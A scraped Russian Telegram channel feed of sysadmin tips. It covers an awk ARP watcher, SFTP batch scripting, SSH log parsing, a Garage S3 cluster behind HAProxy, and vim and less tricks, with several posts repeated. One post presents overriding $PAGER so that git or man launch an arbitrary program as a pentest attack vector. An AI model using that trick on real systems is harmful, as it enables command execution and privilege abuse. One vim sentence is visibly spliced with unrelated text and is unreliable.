checkarp.sh.spr. Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.
Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.
Ставим его на cron
*/15, потому что время жизни arp 20 минут (видно из вывода arp). Работает под обычным пользователем.#checkarp.sh.awk
/[0-9a-f]{2}(:[0-9a-f]{2}){5}/{
if(NF==3){spr[$2 " " $3]}
else{ if( NF>3 && $0~/192\.168\.[01]\./){gsub(/[()]/, "", $0); arp[$2 " " $4]}}
}
END{
ret=0
for(i in arp){
seek=0
for(j in spr){
if(i==j){
seek=1; break
}
}
if(seek==0){ret=1; print dt, i}
}
exit ret
}
Основная часть на awk.
1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.
Все можно было бы сделать быстрее и проще, но очень хотелось:
6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.
Вопросы и предложения приветствуются.
man arp awk(gawk)
В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.
UPD: В комментах скрипт на sh
—
Please open Telegram to view this post
VIEW IN TELEGRAM
В последних двух моих статьях я рассказывал о том, как я перешел с pfSense на opnSense и попытался заменить arpwatchd самописным скриптом. Здесь я расскажу, с какими «проблемами» пришлось столкнуться.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Началось с того, что я тупанул. Я знал, что pfSense и opnSense основаны на BSD, и знал, что обычно там отсутствует bash.
ㅤ
И почему-то подумал, что придется писать скрипт на csh (tsch). Я не знаю csh, но принципиальных отличий нет.
Ну, скрипт и скрипт. Небольшие отличия в синтаксисе.
Это делает однострочники (в моем случае awk) крайне уродливыми. Когда скрипт уже работал, я решил проверить, какие там есть оболочки
Ладно, потратил лишних пару дней, но приобрел опыт. Винить некого. Но плюс в том, что если знаешь bash - в случае крайней необходимости можешь написать скрипт и для другой оболочки.
Были небольшие затыки с программами. Вроде
Что порадовало, так это наличие man в opnSense. В pfSense его не было. И это очень круто.
Очень жаль, что не нашел
Ну, и еще одной проблемой стал редактор vi, который оказался единственным в системе!!!
Я в последнее время использую vim (который начал изучать после рекомендаций Дмитрия Малинина здесь, на BashDays. За что ему спасибо.) Кто еще не начал - ставьте vim, и запускайте vimtutor. Этого будет достаточно, чтобы как-то работать в vi и vim.
Вывод из всего этого - nix это круто. И не важно - Linux или BSD. Они очень похожи, по крайней мере, если знаешь что-то одно - разобраться не проблема. Принципы одинаковые.
Холиваров прошу не устраивать. Просто решил поделиться опытом. Если где-то ошибся - поправьте.
🛠 #networks #linux #bash
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Первая статья: https://xn--r1a.website/bashdays/1356
Вторая статья: https://xn--r1a.website/bashdays/1360
Началось с того, что я тупанул. Я знал, что pfSense и opnSense основаны на BSD, и знал, что обычно там отсутствует bash.
ㅤ
И почему-то подумал, что придется писать скрипт на csh (tsch). Я не знаю csh, но принципиальных отличий нет.
Ну, скрипт и скрипт. Небольшие отличия в синтаксисе.
if и while присутствуют, значит проблем нет. Это действительно так. Самой большой проблемой стал перенос длинных строк даже в константах:#!/bin/bash
echo '1
2
3'
#!/bin/csh
echo '1 \
2 \
3'
Это делает однострочники (в моем случае awk) крайне уродливыми. Когда скрипт уже работал, я решил проверить, какие там есть оболочки
cat /etc/shells , и с изумлением обнаружил /bin/sh.Ладно, потратил лишних пару дней, но приобрел опыт. Винить некого. Но плюс в том, что если знаешь bash - в случае крайней необходимости можешь написать скрипт и для другой оболочки.
Были небольшие затыки с программами. Вроде
date, как date, но ключики немного не совпадают. Я думал там gawk, но нет, awk. (не нашел разделы BEGINFILE{...} ENDFILE{...}). Но, при большом желании можно обойтись и без них.Что порадовало, так это наличие man в opnSense. В pfSense его не было. И это очень круто.
Очень жаль, что не нашел
ramdisk /dev/shm (в Linux он обычно есть и под него выделено половину оперативки).Ну, и еще одной проблемой стал редактор vi, который оказался единственным в системе!!!
ed, red, sed не в счет, хотя, если припрет... В pfSense был еще nano.Я в последнее время использую vim (который начал изучать после рекомендаций Дмитрия Малинина здесь, на BashDays. За что ему спасибо.) Кто еще не начал - ставьте vim, и запускайте vimtutor. Этого будет достаточно, чтобы как-то работать в vi и vim.
Вывод из всего этого - nix это круто. И не важно - Linux или BSD. Они очень похожи, по крайней мере, если знаешь что-то одно - разобраться не проблема. Принципы одинаковые.
Холиваров прошу не устраивать. Просто решил поделиться опытом. Если где-то ошибся - поправьте.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Всем привет. Здесь я уже останавливался на sftp. Немного заострю внимание на особенностях применения в скриптах.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Вы все люди взрослые, но на всякий случай напомню, что использовать sftp с паролем категорически противопоказано. И это важно не клиенту. Это важно серверу. Нужно обязательно использовать ключ. Да, сам ключ может быть без пароля, что фактически превращает ключ в тот же самый пароль, в случае хищения, но для сервера так безопасней.
Обычно для обработки в скрипте используют heredoc, но есть и другой путь, через конвейер.
Здесь
Вот тут есть небольшая тонкость, которую хотелось бы пояснить.
Весь пакет команд будет выполнен, вне зависимости от ошибок. Т.е. если был запрошен переход в каталог, которого не оказалось, а потом команда заливки файла - файл будет залит в текущий каталог, и никто об этом не узнает.
Для решения проблемы есть специальный ключ
При использовании данного ключа, если команда не выполнена, sftp завершается с ошибкой, все дальнейшие команды игнорируются. А эту ситуацию можно обработать стандартными средствами bash.
Но и здесь есть исключения. Если команду указать с префиксом "-", то она переходит в разряд опциональных, и в случае ошибки, sftp-скрипт будет продолжен. Например
Знания почерпнуты из man, при попытке перевести обмен между 1c с ftp на sftp. Если тема интересна, могу привести рабочий скрипт обмена, и рассказать, почему я от него в итоге отказался.
Всем кода без багов.
🛠 #linux #bash
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Вы все люди взрослые, но на всякий случай напомню, что использовать sftp с паролем категорически противопоказано. И это важно не клиенту. Это важно серверу. Нужно обязательно использовать ключ. Да, сам ключ может быть без пароля, что фактически превращает ключ в тот же самый пароль, в случае хищения, но для сервера так безопасней.
Обычно для обработки в скрипте используют heredoc, но есть и другой путь, через конвейер.
echo -e "ls\\ncd /tmp\\nget 123.txt\\nbye"|sftp -i keyfile user@host:/path/to/dir
Здесь
\\n - это код перевода строки. Не красиво, но работает.Вот тут есть небольшая тонкость, которую хотелось бы пояснить.
Весь пакет команд будет выполнен, вне зависимости от ошибок. Т.е. если был запрошен переход в каталог, которого не оказалось, а потом команда заливки файла - файл будет залит в текущий каталог, и никто об этом не узнает.
Для решения проблемы есть специальный ключ
-b (batch mode) который позволяет читать sftp-скрипт из файла. Чтобы (как в нашем случае) читать stdin, нужно указать -b- , или совсем конкретно -b "/dev/stdin".При использовании данного ключа, если команда не выполнена, sftp завершается с ошибкой, все дальнейшие команды игнорируются. А эту ситуацию можно обработать стандартными средствами bash.
Но и здесь есть исключения. Если команду указать с префиксом "-", то она переходит в разряд опциональных, и в случае ошибки, sftp-скрипт будет продолжен. Например
-get 123.txt. Кроме этого префикса есть еще префикс "@", который подавляет печать(вывод) команды при выполнении. Префиксы равнозначны, могут использоваться в любой последовательности.Знания почерпнуты из man, при попытке перевести обмен между 1c с ftp на sftp. Если тема интересна, могу привести рабочий скрипт обмена, и рассказать, почему я от него в итоге отказался.
man sftp
Всем кода без багов.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Всем привет.
Я тут с удивлением обнаружил, что в debian 13 исчезли команды
🔤 🔤 🔤 🔤 🔤 🔤 🔤
ㅤ
А я к ним так привык...
Решил немного упростить, чтобы вывод был в виде таблички:
Иногда мальчиши-плохиши подсовывают «пустого» пользователя " ", и чтобы число полей было всегда три, я заменяю его на ":", используется в качестве разделителя
Если нужно ограничить диапазон дат можно использовать ключ
где
Если не нравится дата в
Или какой-нибудь свой формат. Я, вообще не спец по
Всем кода без багов.
🛠 #bash #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Я тут с удивлением обнаружил, что в debian 13 исчезли команды
last и lastb которые позволяли смотреть удачные/неудачные попытки ssh/sftpㅤ
А я к ним так привык...
journalctl — прекрасен, но лазить по логам — так себе занятие.Решил немного упростить, чтобы вывод был в виде таблички:
timestamp ip loginИногда мальчиши-плохиши подсовывают «пустого» пользователя " ", и чтобы число полей было всегда три, я заменяю его на ":", используется в качестве разделителя
/etc/passwd, и поэтому такого логина не должно быть.journalctl --output=short-unix --unit=ssh |
gawk '{match($0,/.*for( invalid user)? +(.*?) +from (([0-9]{1,3}[.]){3}[0-9]{1,3})/,a)
#^ это одна длинная строка
if(a[2]==""){a[2]=":"} # заменили "пробельного usera" на ":"
if(a[3]!="") print $1, a[3],a[2]}'
#Отображение только неудачных попыток
journalctl --output=short-unix --unit=ssh |
gawk '/error: maximum/{match($0,/.*for( invalid user)? +(.*?) +from (([0-9]{1,3}[.]){3}[0-9]{1,3})/,a)
#^это одна длинная строка
if(a[2]==""){a[2]=":"} # заменили "пробельного usera" на ":"
if(a[3]!="") print $1, a[3],a[2]}'
Если нужно ограничить диапазон дат можно использовать ключ
--since="@TIMESTAMP"где
TIMESTAMP дата вида 1773848322.767923 или 1773848322 или просто --since="-1 day"Если не нравится дата в
timestamp замените последнюю строчку на:if(a[3]!="") print strftime("%Y%m%d_%H%M%S",$1), a[3],a[2]}'Или какой-нибудь свой формат. Я, вообще не спец по
regexp, поэтому, если кто-нибудь поможет ускорить выражение — буду благодарен.Всем кода без багов.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
8 42
Всем привет. Что мы все о bash да и bash. Надоело. Сегодня поговорим про
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Не много осталось админов, которые парсят текстовые логи. Вся молодежь и даже пОдростки перешли на JSON. Ну да, это удобно. Но иногда
ㅤ
Но я сегодня не в настроении устраивать холивар.
При использовании логов очень часто возникает проблема — очень большое количество полей. А
Так вот, чтобы немного упростить задачу я написал маленький скрипт, который разбирает строку и нумерует поля. Это здорово экономит время.
Сам скрипт:
Как обычно сохраняем
Как это работает:
1. Сначала вводим разделитель.
2. Затем строчку лога и получаем разбивку по полям.
Ввод разделителя нужен, потому что иногда уже внутри кода приходится использовать оператор
Рассмотрим такой пример:
В этом случае, если нужно одновременно вытащить и дату и IP с портами, проще в качестве основного разделителя использовать
Здесь, если мы разбить по пробелам (
Всем кода без багов.
🛠 #bash #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
awk.Не много осталось админов, которые парсят текстовые логи. Вся молодежь и даже пОдростки перешли на JSON. Ну да, это удобно. Но иногда
awk быстрее. Особенно на больших файлах и файлах и простых фильтрах.ㅤ
Но я сегодня не в настроении устраивать холивар.
При использовании логов очень часто возникает проблема — очень большое количество полей. А
awk зачастую использует именно номер поля.Так вот, чтобы немного упростить задачу я написал маленький скрипт, который разбирает строку и нумерует поля. Это здорово экономит время.
Сам скрипт:
#!/bin/awk -f
BEGIN{printf "INPUT field separator "
getline
FS=$0
printf "INPUT test line\n"
getline
printf "\n\n"
for (i=1;i<=NF;i++)print i, $i
}
Как обычно сохраняем
fields.awk и делаем исполняемым:chmod +x fields.awk
./fields.awk
Как это работает:
1. Сначала вводим разделитель.
2. Затем строчку лога и получаем разбивку по полям.
Ввод разделителя нужен, потому что иногда уже внутри кода приходится использовать оператор
split и другой разделитель. Да и логи бывают разных форматов.Рассмотрим такой пример:
<134>1 2026-04-17T16:51:47+03:00 OPNsense.internal filterlog 18074 - [meta sequenceId="2054702"] 111,,,4b75111111111111111111111111cb1d,eno1,match,block,in,4,0x0,,64,27367,0,DF,6,tcp,60,192.168.2.125,192.168.7.14,60248,22,0,S,1539242113,,65535,,mss;sackOK;TS;nop;wscale
В этом случае, если нужно одновременно вытащить и дату и IP с портами, проще в качестве основного разделителя использовать
",", а потом первое поле:<134>1 2026-04-17T16:51:47+03:00 OPNsense.internal filterlog 18074 - [meta sequenceId="2054702"] 111
Здесь, если мы разбить по пробелам (
split($1,f," ")), то f[2] будет содержать дату. Которую в свою очередь можно путем нехитрых манипуляций превратить в unuxtime, для удобства машинной обработки.Всем кода без багов.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
1 41
Свой S3 или пошаговая настройка Garage
Здрасти, здрасти. Теперь по выходным у меня полнейший «цифровой детокс», а причина этому — дача. Круче всякого спортзала прокачивает, а заодно прочищает голову. Физический труд всегда в почёте.
ㅤ
Ладно, это детали… сегодня будем поднимать собственный S3 и да, без хуйни вроде minio и ceph.
А на помощь к нам приходит «Гараж», в котором мы и будем хранить наши «Вёдра». Garage ориентирован на маленький и средние кластера, домашние сервера и распределенные ноды. И да, он полностью в opensource и не просит денег. Для self-host пиздатейшее решений, да и морда есть из коробки.
Я возьму 3 своих рандомных сервера и сделаю из них кластер. Сервера не пустые, на них что-то крутится и вертится, просто рядышком впендюрю еще одну хуёвинку.
Почему именно 3 сервера? Кластерная классика, если один из серверов пойдёт по пизде, то 2 других соберут кворум и отдадут тебе твои данные. То есть тебе не нужно иметь заранее подготовленные машины, можно взять какойнить хлам и из него запилить кластер под бекапы. И всё это дело будет работать нативно через API S3.
Прицепом воткнем балансировщик нагрузки, чтобы по домену всё работало. И да, запускать будем в докере.
Поехали настроим это безобразие.
Демон докера надеюсь у тебя уже установлен, поэтому заострять внимание на этом не будем. Заходим на первый сервер и мутим мутки:
Файл
Думаю, вопросов не должно возникнуть. Банальный композник, порты я тебе все подписал. Версию гаража можешь глянуть в интернете, на момент написания статьи последняя v2.3.0. Да буква «v» тут важна и
Читать продолжение: https://two.su/3qjfl
🛠 #devops #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Здрасти, здрасти. Теперь по выходным у меня полнейший «цифровой детокс», а причина этому — дача. Круче всякого спортзала прокачивает, а заодно прочищает голову. Физический труд всегда в почёте.
ㅤ
Ладно, это детали… сегодня будем поднимать собственный S3 и да, без хуйни вроде minio и ceph.
А на помощь к нам приходит «Гараж», в котором мы и будем хранить наши «Вёдра». Garage ориентирован на маленький и средние кластера, домашние сервера и распределенные ноды. И да, он полностью в opensource и не просит денег. Для self-host пиздатейшее решений, да и морда есть из коробки.
Я возьму 3 своих рандомных сервера и сделаю из них кластер. Сервера не пустые, на них что-то крутится и вертится, просто рядышком впендюрю еще одну хуёвинку.
Почему именно 3 сервера? Кластерная классика, если один из серверов пойдёт по пизде, то 2 других соберут кворум и отдадут тебе твои данные. То есть тебе не нужно иметь заранее подготовленные машины, можно взять какойнить хлам и из него запилить кластер под бекапы. И всё это дело будет работать нативно через API S3.
Да, когда ты будешь заливать файлы в своё облако, данные будут реплицироваться на все 3 сервера. Поэтому сервера рекомендую держать в разных регионах или вообще у разных провайдеров. Например, если сгорит один дата центр, то ты не проебешь свои данные. Удобно и надёжно. Ну и смотри в сторону дискового места, если на одном сервере выделил 50 гигов под бакет, то на остальных серверах выдели столько же, чтобы не возникало коллизий.
Прицепом воткнем балансировщик нагрузки, чтобы по домену всё работало. И да, запускать будем в докере.
Поехали настроим это безобразие.
Демон докера надеюсь у тебя уже установлен, поэтому заострять внимание на этом не будем. Заходим на первый сервер и мутим мутки:
Файл
compose.yaml:services:
garage:
image: dxflrs/garage:v2.3.0
ports:
- "3900:3900" # S3 API
- "3901:3901" # RPC
- "3902:3902" # Web (optional)
- "3903:3903" # Admin API
volumes:
- ./garage.toml:/etc/garage.toml:ro
- ./meta:/var/lib/garage/meta
- ./data:/var/lib/garage/data
Думаю, вопросов не должно возникнуть. Банальный композник, порты я тебе все подписал. Версию гаража можешь глянуть в интернете, на момент написания статьи последняя v2.3.0. Да буква «v» тут важна и
latest тут не канает.Читать продолжение: https://two.su/3qjfl
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Такс, S3 кластер на Garage в предыдущем посте мы с тобой сообразили, самое время накрутить обвесов и сделать всё по взрослому. Как ты любишь — без хуйни.
ㅤ
Для начала установим балансировщик. То есть входная точка у кластер всегда будет одна, а дальше балансировщик будет раскидывать запросы по 3м нашим серверам в кластере. Если одна из нод пойдет по пизде, балансировщик это прозрачно разрулит и отдаст тебе файл в любом случае, даже без правки конфигов.
Проверяем наш кластер:
Работает. Дальше берем еще один сервер, который будет выступать балансировщиком. Для теста я создам в Selectel нищую виртуалочку и впихарю на нее
Устанавливаем haproxy:
Домен для кластера я буду использовать
Правим конфиг
Проверяем валидность конфиги:
Ага, хуй там плавал. Давай создадим SSL сертификат. Я конечно предпочитаю angie, чтобы он сам это сделал, но у нас haproxy, поэтому придется немного пострадать...
Читать продолжение: https://two.su/aaahd
🛠 #devops #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Нежных сразу — нахуй, остальным велком.
Для начала установим балансировщик. То есть входная точка у кластер всегда будет одна, а дальше балансировщик будет раскидывать запросы по 3м нашим серверам в кластере. Если одна из нод пойдет по пизде, балансировщик это прозрачно разрулит и отдаст тебе файл в любом случае, даже без правки конфигов.
Проверяем наш кластер:
docker exec -it garage-garage-1 /garage status
Работает. Дальше берем еще один сервер, который будет выступать балансировщиком. Для теста я создам в Selectel нищую виртуалочку и впихарю на нее
haproxy.Устанавливаем haproxy:
apt install haproxy
Домен для кластера я буду использовать
s3.linuxfactory.ru, соответственно во всяких rclone нужно будет прописать его в параметре endpoint.Правим конфиг
/etc/haproxy/haproxy.cfg:global
log /dev/log local0
maxconn 4096
defaults
mode tcp
timeout connect 5s
timeout client 1m
timeout server 1m
option http-server-close
timeout http-request 10s
timeout queue 1m
frontend garage_front
bind *:443 ssl crt /etc/ssl/garage.pem
option http-buffer-request
default_backend garage_back
backend garage_back
balance roundrobin
server node1 95.123.123.116:3900 check
server node2 152.44.71.205:3900 check
server node3 145.83.116.20:3900 check
Проверяем валидность конфиги:
haproxy -c -f /etc/haproxy/haproxy.cfg
Приучи себя всегда это делать, будь то nginx либо что-то другое. Однажды это спасет твою жопу от пенетрации.
Ага, хуй там плавал. Давай создадим SSL сертификат. Я конечно предпочитаю angie, чтобы он сам это сделал, но у нас haproxy, поэтому придется немного пострадать...
Читать продолжение: https://two.su/aaahd
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Относительная нумерация
Частенько народ интересуется, а почему у меня в виме такая странная нумерация. Да, этим вопросом и я в своё время задавался. Называется это «Относительная нумерация».
ㅤ
Главная идея здесь — быстрое перемещение по коду с клавиатуры.
Например, курсор стоит у меня в 27 строке. Если я сейчас выполню комбинацию:
Аналогично работает и в других направлениях. В редакторе ZED это включается через конфиг:
В виме же по классике в конфиге:
Честно, если ты пользуешься мышкой, это бесполезная настройка. Для новичков это совсем неочевидная фича и возможно даже вредная. Короче у этой фичи целая философия:
➡️ Мышление расстояниями. В заурядной жизни, ты будешь думать — ага, мне бы на строку 15 попасть. А если ты адепт вима, твоё мышление такое — мне бы на 6 строчек ниже.
➡️ Ускорение всех count-команд. Тут не только клавиши
Ты сразу видишь нужное число, сразу прожимаешь нужную комбинацию.
➡️ Сильно уменьшает мысленную математику. Без — так… я на 120 строке, мне нужно на 133… это +13. С ней — вижу 13 →
Мозги по сути вообще ничего не считают. Это плюс. Думаешь не головой, а жопой.
➡️ Работает лучше с большими файлами. Когда у тебя файл на 1000+ строк, абсолютные номера создают шум, а относительные прям в тему. Ты ориентируешься вокруг курсора, а не во всём файле.
Минусы? Да конечно!
➡️ Поначалу выламывает тебя, перестраивает, больно
➡️ Плохо подходит для дебага с конкретными строками
В общем относительная нумерация, это не про цифры, она про то, чтобы перестать искать строки и моментально перепрыгивать в нужное место.
Если есть чё добавить, камон в комменты, будет интересно почитать.
🛠 #devops #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Частенько народ интересуется, а почему у меня в виме такая странная нумерация. Да, этим вопросом и я в своё время задавался. Называется это «Относительная нумерация».
ㅤ
Главная идея здесь — быстрое перемещение по коду с клавиатуры.
Например, курсор стоит у меня в 27 строке. Если я сейчас выполню комбинацию:
6j, то курсор у меня встанет на строку: Не забудь подставить своё мыло. Такая нумерация показывает расстояние до строки от курсора, а не её абсолютный номер.Аналогично работает и в других направлениях. В редакторе ZED это включается через конфиг:
relative_line_numbers": "enabled"
В виме же по классике в конфиге:
set number
set relativenumber
Честно, если ты пользуешься мышкой, это бесполезная настройка. Для новичков это совсем неочевидная фича и возможно даже вредная. Короче у этой фичи целая философия:
hjkl задействованы, ты можешь выполнять ряд других операций. Например:5dd — удалить 5 строк
3yy — скопировать 3 строки
4> — сдвинуть 4 строки вправо
2} — прыгнуть на 2 абзаца
Ты сразу видишь нужное число, сразу прожимаешь нужную комбинацию.
13j. Мозги по сути вообще ничего не считают. Это плюс. Думаешь не головой, а жопой.
Минусы? Да конечно!
В общем относительная нумерация, это не про цифры, она про то, чтобы перестать искать строки и моментально перепрыгивать в нужное место.
Если есть чё добавить, камон в комменты, будет интересно почитать.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Тайна вызова Less в Linux утилитах
Привет ребят. Ща покопаемся в неочевидных вещах, залезем так сказать под капот.
ㅤ
Знаешь же такую команду:
Тут всё просто, она выводит историю коммитов. И что примечательно, в конце будет пагинация (pager). Смотри картинку 1.
А теперь пойдем неочевидной дорожкой и выполним:
Ну и снова запустим
Хуяк и нет больше пагинации. Сразу вывалилась простыня. О чем это говорит? А говорит это о том, что
Но если
И видим картину маслом: Смотри картинку 3
Ага, запускается
Вот и прекрасно, словили ошибку
Если выполнить команду
Иииии ебать копать: Смотри картинку 5.
Кстати не только
Ну и на закуску:
Команда
А это уже еще один вектор атаки из арсенала пентестеров, о котором никто не рассказывает. Так что бери на вооружение, глядишь сгодится при прохождении очередного HackBox’а.
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Привет ребят. Ща покопаемся в неочевидных вещах, залезем так сказать под капот.
ㅤ
Знаешь же такую команду:
git log
Тут всё просто, она выводит историю коммитов. И что примечательно, в конце будет пагинация (pager). Смотри картинку 1.
А теперь пойдем неочевидной дорожкой и выполним:
sudo mv /usr/bin/less /usr/bin/less.bak
Ну и снова запустим
git log: Смотри картинку 2.Хуяк и нет больше пагинации. Сразу вывалилась простыня. О чем это говорит? А говорит это о том, что
git использует внешнюю утилиту less при выводе истории коммитов, причем делает это по умолчанию.Но если
less накрылся пиздой, git сразу вывалит простыню без пагинации. Забавно! Давай подключим strace и подтвердим этот факт, запускаем:strace -f -e execve git log
И видим картину маслом: Смотри картинку 3
Ага, запускается
less, а теперь снова перемещаем less и смотрим выхлоп strace: Смотри картинку 4Вот и прекрасно, словили ошибку
error: cannot run less: No such file or directory. Но ожидаемый результат все равно получили.Если выполнить команду
echo $PAGER, то увидим, какая утилита будет использоваться для пагинации. По умолчанию less, но раз есть переменная, её можно переопределить. Давай попробуем это сделать.apt install lolcat
export PAGER="lolcat"
git log
Иииии ебать копать: Смотри картинку 5.
Кстати не только
git завязан на переменную $PAGER, такое же поведение ты можешь увидеть у утилит: man, systemctl, journalctl и т.п. Всё что работает с пагинацией, использует переменную $PAGER.Ну и на закуску:
export PAGER="vim -"
man ls
Команда
man ls будет выполнена в vim. То есть получается что любая программа, доверяющая $PAGER, фактически запускает произвольную команду пользователя.А это уже еще один вектор атаки из арсенала пентестеров, о котором никто не рассказывает. Так что бери на вооружение, глядишь сгодится при прохождении очередного HackBox’а.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
2 37
Less и секретный режим мониторинга
ㅤ
Очередные консольные приколы о которых ты не знаешь. Есть такая красота:
Эта команда будет в реальном времени выводить строчки из файла по мере их добавления. То есть ты можешь наблюдать за лог файлами как с авто-суфлёра.
НО есть аналог:
А если кто не знал, то в
Сразу видно, что утилиты затачивали под одну экосистему и unixway. Ну а теперь вкуснятина.
После выполнения команды
Ну а чтобы вернуться в режим наблюдения, нажимаем
Так что
🛠 #bash #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Очередные консольные приколы о которых ты не знаешь. Есть такая красота:
tail -f /var/log/nginx/access.log
Эта команда будет в реальном времени выводить строчки из файла по мере их добавления. То есть ты можешь наблюдать за лог файлами как с авто-суфлёра.
НО есть аналог:
less +F /var/log/nginx/access.log
А если кто не знал, то в
less можно пользоваться клавишами vim. Например, навигация hjkl.Сразу видно, что утилиты затачивали под одну экосистему и unixway. Ну а теперь вкуснятина.
После выполнения команды
less +F нажимаем CTRL+C и теперь можно передвигаться по выводу как раз теме же клавишами hjkl, что-то поискать /127.0.0.1, g/G, n/N. На минуточку, в tail ты так быстро ничего не поищешь. Надо тормозить процесс, выгружать в файл, грепать-хуепать.
Ну а чтобы вернуться в режим наблюдения, нажимаем
SHIFT+F и less возвращает режим мониторинга, строчки с логами продолжают бежать в реальном времени.Так что
less это не просто про пагинацию, а немного больше.—
Please open Telegram to view this post
VIEW IN TELEGRAM